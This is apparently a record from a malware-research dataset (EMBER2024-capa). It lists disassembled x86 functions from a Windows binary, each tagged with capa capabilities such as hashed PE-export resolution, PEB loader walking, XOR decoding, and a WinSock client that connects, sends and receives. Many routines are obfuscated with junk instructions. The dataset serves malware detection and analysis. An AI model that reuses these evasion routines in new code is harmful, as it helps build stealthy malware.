joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1005d1ed
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1005d246
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1005d1ed
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1005d1fc
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x10462e9f
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1005d24d
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.100440c3
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1005d2ec
add edi, 4
add eax, 2
dec ecx
jne 0x1005d232
call 0x1005d299
loope 0x1005d28f
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x1005d2e9
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1005d2fa
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1005d2ad
cmp eax, ecx
ja 0x1005d2ad
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1005d337
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1005d32d
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.100445a2
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x1005d1fc
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1005d246
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1005d1ed
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1005d1fc
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x10462e9f
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1005d24d
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.100440c3
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1005d2ec
add edi, 4
add eax, 2
dec ecx
jne 0x1005d232
call 0x1005d299
loope 0x1005d28f
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x1005d2e9
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1005d2fa
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1005d2ad
cmp eax, ecx
ja 0x1005d2ad
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1005d337
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1005d32d
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.100445a2
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x100a1a30
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x100a1a6e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x100a1a66
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x100a1a70
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x100a1a56
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x100a1b50
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x100a1b81
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x100a1b81
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x100a1b81
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x100b8213
Capabilities:
Encode data using xor

Disassembly:
call 0x100b818c
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x100b81bc
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x100b81d8
xor edx, 0
jmp 0x100b81e3
xor edx, edx
jmp 0x100b81fa
jmp 0x100b8206
xor eax, eax
push 0x8427d7c0
call 0x100b8213
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x100b824f
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x100b8228
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x100b8266
add eax, 0
jno 0x100b826b
add esi, 0
ret 0x10
Function at 0x100b8fd4
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x100b8ff6
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x100b9198
cmp edi, dword [ebp + 0x10]
jb 0x100b9198
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.100b8ac0
inc edi
jmp 0x100b907f
jmp 0x100b908c
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.100b8ac0
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.100b8ac0
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x100b90e0
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x100b90c4
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.100b910e
add dword [eax], 0x39
jle 0x100b90ea
sub al, 0xf5
mov ch, al
call fcn.100b9123
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x100badfb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x100bae11
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x100bae22
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.100bae63
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx
Function at 0x100bd1cf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x100bd118
add ebx, 0
push ecx
call 0x100bd12d
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x7287939b
sub ebx, dword [0x72898bda]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x72898bca
call fcn.100b8bf7
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.100b8105
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x100bd28b
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x100bd28b
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x100bd242
mov eax, 1
lock xchg dword [0x72898bd6], eax
push 0x3dd1fc71
call 0x100bd1cf
push esi
add esp, 8
cmp eax, 0
jne 0x100bd1b8
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x100bd1de
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x100bd1f3
cmp ecx, edx
cmp eax, 0
je 0x100bd218
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x100bd202
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.100bd231
dec eax
loope 0x100bd234
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x72898bd6], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x100bd268
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x100bd27d
jmp 0x100bd288
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x100bd176
Function at 0x100c42f0
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x100c45c6
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x7288584e
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x7287c814
push 0xffffffffffffffff
call fcn.100bb4f0
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x100c435a
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.100c4372
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x100c45ba
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x100c458e
Function at 0x100d3dc0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x100d3de2
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x100d3de2
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x100d3de2
ret
cmp word [ebx + 4], 0x14c
jne 0x100d3de2
test word [ebx + 0x16], 2
je 0x100d3de2
test word [ebx + 0x16], 0x100
je 0x100d3de2
cmp word [ebx + 0x18], 0x10b
jne 0x100d3de2
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x100d3de2
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x100d3e6e
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x100d3e02
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.100bad4d
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x100d3de2
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x100d3e6e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x100d3de2
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x100d3de2
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x100d3de2
ret
cmp word [ebx + 4], 0x14c
jne 0x100d3de2
test word [ebx + 0x16], 2
je 0x100d3de2
test word [ebx + 0x16], 0x100
je 0x100d3de2
cmp word [ebx + 0x18], 0x10b
jne 0x100d3de2
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x100d3de2
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x100d3e6e
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x100d3e02
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.100bad4d
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x100d3de2
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x100d3f25
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x100d3f7e
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x100d3f25
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x100d3f34
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x104d9bd7
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x100d3f85
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.100badfb
cmp eax, dword [ebp + 0xc]
pop eax
je 0x100d4024
add edi, 4
add eax, 2
dec ecx
jne 0x100d3f6a
call 0x100d3fd1
loope 0x100d3fc7
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x100d4021
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x100d4032
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x100d3fe5
cmp eax, ecx
ja 0x100d3fe5
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100d406f
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100d4065
lea edi, [ebp - 0x100]
push pe_nt_image_headers32
push edi
push esi
call fcn.100bb2da
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x100d3f34
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x100d3f7e
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x100d3f25
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x100d3f34
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x104d9bd7
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x100d3f85
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.100badfb
cmp eax, dword [ebp + 0xc]
pop eax
je 0x100d4024
add edi, 4
add eax, 2
dec ecx
jne 0x100d3f6a
call 0x100d3fd1
loope 0x100d3fc7
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x100d4021
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x100d4032
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x100d3fe5
cmp eax, ecx
ja 0x100d3fe5
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100d406f
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100d4065
lea edi, [ebp - 0x100]
push pe_nt_image_headers32
push edi
push esi
call fcn.100bb2da
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x10062ff
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100c028]
jne 0x1006310
test ecx, 0xffff0000
jne 0x1006310
ret
jmp fcn.0100631a

Function at 0x10063ff
Capabilities:
Encode data using xor

Disassembly:
mov edi, edx
mov ebp, 0x6e94e6a8
cmp eax, eax
lea edi, [0x346adb5c]
jmp 0x100641c
test bl, dl
cmp edi, 0xda06
jne 0x100642c
mov eax, ebp
mov ch, dl
mov cl, ch
mov esi, 0x194
neg edx
xor esi, 0x194
not ebx
and ah, bl
imul eax, edi
mov eax, 0x71ae7dde
movsx edi, dl
test eax, 0xb14aec8f
mov eax, edx
mov eax, 0x5e2bc
xor eax, 0x58d1
push 0xfffffb8c
imul edx, ebp, 0xab8f06ab
pop edx
add edx, 0x474
xor edx, eax
lea eax, [0x93959e9]
sub edx, 0x221d
mov al, dh
lea edi, [edx]
test ch, 0x63
mov eax, edx
push edi
pop ecx
adc al, 0x13
mov ebp, ecx
imul eax, ecx, 0x2bd940b6
sub ebp, 0x58a5f
mov ebx, ebp
or eax, 0x92a44b09
sub ebx, 0x1b7
mov edx, 0x49d2fc69
xadd esi, ebx
add dl, bh
sub esi, 0xc39
movsx eax, ah
imul edi, edx
inc ebx
cmp esi, 0xf9
jbe 0x1006439
inc edx
push 0x4230dc
push 0x91b551
inc ecx
call 0x10064e3
test esi, ebp
inc ebx
cmp ecx, 0x6478
mov bh, al
movzx ebx, bl
mov ecx, eax
xchg edi, esi
xchg bl, dl
xor eax, ecx
mov ch, 0x5f
pop edx
xchg al, bl
mov cl, 0x13
bswap ebx
add edi, 0x6ec3c
sub edi, 0x6a51c
movd mm5, edx
xchg bh, cl
imul edi, edx
imul ebx, edi
sub edx, 0x402
jmp 0x1006520
sub edx, 0xf1c
movd eax, mm5
jmp 0x100652f
mov dl, dl
lea ebx, [0xfc06a593]
add eax, 0x4d1aaf
sub eax, 0x8e6
movsx ebp, bh
imul ecx, ecx, 0x6d32a651
inc esi
xor edi, 0x63a1
mov edx, 0x212bd925
movsx ecx, di
mov bl, al
test ch, cl
dec edx
jmp eax

Function at 0x10078d7
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
mov eax, esi
shr eax, 2
test eax, eax
push edi
mov edi, dword [ebp + 0x10]
jle 0x1007914
push ebx
movzx edx, byte [ecx]
xor ebx, ebx
inc ecx
mov bh, byte [ecx]
or edx, ebx
inc ecx
movzx ebx, byte [ecx]
shl ebx, 0x10
or edx, ebx
inc ecx
movzx ebx, byte [ecx]
shl ebx, 0x18
or edx, ebx
inc ecx
xor edi, edx
dec eax
jne 0x10078f1
pop ebx
and esi, 3
xor eax, eax
dec esi
je 0x1007930
dec esi
je 0x1007929
dec esi
jne 0x1007935
movzx eax, byte [ecx]
shl eax, 0x10
inc ecx
xor edx, edx
mov dh, byte [ecx]
or eax, edx
inc ecx
movzx ecx, byte [ecx]
or eax, ecx
xor eax, edi
pop edi
pop esi
pop ebp
ret 0xc
Function at 0x406ee0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
mov eax, 0x1014
call fcn.00407b00
push esi
mov esi, dword [esp + 0x101c]
push edi
push esi
push str.Connecting_to__s..._n
call fcn.00407f7f
add esp, 8
push esi
call sub.WS2_32.dll_gethostbyname
mov esi, eax
test esi, esi
jne 0x406f1b
call sub.WS2_32.dll_WSAGetLastError
pop edi
pop esi
add esp, 0x1014
ret
push 0x2b
mov word [esp + 0x10], 2
call sub.WS2_32.dll_htons
mov word [esp + 0xe], ax
mov eax, dword [esi + 0xc]
push 0
push 1
mov ecx, dword [eax]
push 2
mov edx, dword [ecx]
mov dword [esp + 0x1c], edx
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 8], esi
jne 0x406f5d
call sub.WS2_32.dll_WSAGetLastError
pop edi
pop esi
add esp, 0x1014
ret
lea eax, [esp + 0xc]
push 0x10
push eax
push esi
call sub.WS2_32.dll_connect
test eax, eax
je 0x406f7c
call sub.WS2_32.dll_WSAGetLastError
pop edi
pop esi
add esp, 0x1014
ret
mov ecx, dword [esp + 0x1024]
lea edx, [esp + 0x1c]
push ecx
push 0x411abc
push edx
call fcn.00407778
lea edi, [esp + 0x28]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0
lea eax, [esp + 0x20]
push ecx
push eax
push esi
call sub.WS2_32.dll_send
test eax, eax
jne 0x406fc4
call sub.WS2_32.dll_WSAGetLastError
pop edi
pop esi
add esp, 0x1014
ret
mov edi, dword [esp + 0x1028]
push ebx
push ebp
xor ebp, ebp
push ebp
lea ecx, [esp + 0x28]
push 0x1000
push ecx
push esi
mov dword [edi], 0
call sub.WS2_32.dll_recv
mov ebx, eax
cmp ebx, 0xffffffff
je 0x407066
jmp 0x406ff6
mov edi, dword [esp + 0x1030]
test ebx, ebx
je 0x407066
mov eax, dword [edi]
test eax, eax
jne 0x40700e
lea edx, [ebx + 1]
push edx
call fcn.004079b7
add esp, 4
jmp 0x40701c
lea ecx, [ebx + ebp + 1]
push ecx
push eax
call fcn.00407fc0
add esp, 8
mov ecx, ebx
mov dword [edi], eax
mov edi, eax
mov edx, ecx
lea esi, [esp + 0x24]
add edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x1030]
mov ecx, edx
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [eax]
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x28]
add ebp, ebx
push 0x1000
push edx
push eax
mov byte [ecx + ebp], 0
call sub.WS2_32.dll_recv
mov esi, dword [esp + 0x10]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x406fef
push esi
call sub.WS2_32.dll_closesocket
pop ebp
pop ebx
pop edi
xor eax, eax
pop esi
add esp, 0x1014
ret